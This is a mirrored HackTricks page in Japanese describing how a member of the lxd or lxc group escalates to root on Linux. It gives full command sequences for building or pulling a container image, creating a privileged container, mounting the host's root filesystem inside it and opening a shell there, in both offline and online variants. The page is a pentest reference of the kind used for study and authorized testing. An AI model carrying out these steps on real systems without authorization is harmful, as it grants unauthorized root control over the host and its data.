mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 15:08:29 +00:00
86 lines
4.7 KiB
Markdown
86 lines
4.7 KiB
Markdown
<details>
|
|
|
|
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
|
|
|
HackTricksをサポートする他の方法:
|
|
|
|
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
|
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
|
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する**。
|
|
|
|
</details>
|
|
|
|
|
|
_**lxd**_ **または** _**lxc**_ **グループに属している場合**、rootになることができます。
|
|
|
|
# インターネットなしでの悪用
|
|
|
|
あなたのマシンにこのディストリビューションビルダーをインストールできます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(githubの指示に従ってください):
|
|
```bash
|
|
#Install requirements
|
|
sudo apt update
|
|
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
|
|
#Clone repo
|
|
go get -d -v github.com/lxc/distrobuilder
|
|
#Make distrobuilder
|
|
cd $HOME/go/src/github.com/lxc/distrobuilder
|
|
make
|
|
cd
|
|
#Prepare the creation of alpine
|
|
mkdir -p $HOME/ContainerImages/alpine/
|
|
cd $HOME/ContainerImages/alpine/
|
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|
#Create the container
|
|
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
|
|
```
|
|
次に、サーバーに**lxd.tar.xz**と**rootfs.squashfs**のファイルをアップロードします。
|
|
|
|
イメージを追加します:
|
|
```bash
|
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
|
lxc image list #You can see your new imported image
|
|
```
|
|
コンテナを作成し、ルートパスを追加する
|
|
```bash
|
|
lxc init alpine privesc -c security.privileged=true
|
|
lxc list #List containers
|
|
|
|
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
|
```
|
|
コンテナを実行する:
|
|
```bash
|
|
lxc start privesc
|
|
lxc exec privesc /bin/sh
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
# インターネットあり
|
|
|
|
[これらの指示](https://reboare.github.io/lxd/lxd-escape.html)に従うことができます。
|
|
```bash
|
|
lxc init ubuntu:16.04 test -c security.privileged=true
|
|
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
|
lxc start test
|
|
lxc exec test bash
|
|
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
|
```
|
|
# その他の参考資料
|
|
|
|
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
|
|
|
HackTricksをサポートする他の方法:
|
|
|
|
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
|
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
|
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
|
|
|
</details>
|